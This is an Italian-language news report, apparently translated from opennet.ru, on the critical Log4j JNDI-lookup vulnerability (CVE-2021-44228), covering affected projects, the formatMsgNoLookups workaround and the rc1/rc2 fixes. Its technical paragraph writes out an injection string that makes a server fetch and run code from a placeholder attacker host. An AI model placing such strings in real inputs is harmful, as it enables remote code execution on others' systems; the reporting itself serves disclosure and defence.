Vulnerabilità catastrofica in Apache Log4j che colpisce molti progetti Java

In Apache Log4j, un popolare framework per l'organizzazione del log nelle applicazioni Java, è stata identificata una vulnerabilità critica che consente l'esecuzione di codice arbitrario quando nel log viene scritto un valore appositamente formattato nel formato "{jndi:URL}". L'attacco può essere effettuato su applicazioni Java che registrano valori ricevuti da fonti esterne, ad esempio quando vengono visualizzati valori problematici nei messaggi di errore.

Va notato che quasi tutti i progetti che utilizzano framework come Apache Struts, Apache Solr, Apache Druid o Apache Flink sono interessati dal problema, inclusi client e server Steam, Apple iCloud, Minecraft. Si prevede che la vulnerabilità possa portare a un'ondata di attacchi massicci alle applicazioni aziendali, ripetendo la storia delle vulnerabilità critiche nel framework Apache Struts, che, secondo una stima approssimativa, viene utilizzato nelle applicazioni web dal 65% di Fortune 100 aziende, compresi i tentativi di scansionare la rete alla ricerca di sistemi vulnerabili.

Il problema è aggravato dal fatto che è già stato pubblicato un exploit funzionante, ma non sono ancora state compilate le correzioni per i rami stabili. L'identificativo CVE non è stato ancora assegnato. La correzione è inclusa solo nel ramo di test log4j-2.15.0-rc1. Come soluzione alternativa per bloccare la vulnerabilità, si consiglia di impostare il parametro log4j2.formatMsgNoLookups su true.

Il problema è stato causato dal fatto che log4j supporta l'elaborazione di maschere speciali “{}” nelle righe di output del log, in cui è possibile eseguire le query JNDI (Java Naming and Directory Interface). L'attacco si riduce al passaggio di una stringa con la sostituzione “${jndi:ldap://attacker.com/a}”, dopo l'elaborazione la quale log4j invierà una richiesta LDAP per il percorso della classe Java al server attacker.com . Il percorso restituito dal server dell'aggressore (ad esempio, http://second-stage.attacker.com/Exploit.class) verrà caricato ed eseguito nel contesto del processo corrente, che consente all'aggressore di eseguire codice arbitrario sul sistema con i diritti dell'applicazione corrente.

Addendum 1: Alla vulnerabilità è stato assegnato l'identificatore CVE-2021-44228.

Addendum 2: è stato identificato un modo per aggirare la protezione aggiunta dalla versione log4j-2.15.0-rc1. È stato proposto un nuovo aggiornamento, log4j-2.15.0-rc2, con una protezione più completa contro la vulnerabilità. Il codice evidenzia la modifica associata all'assenza di una terminazione anomala nel caso di utilizzo di un URL JNDI formattato in modo errato.

Fonte: opennet.ru

Aggiungi un commento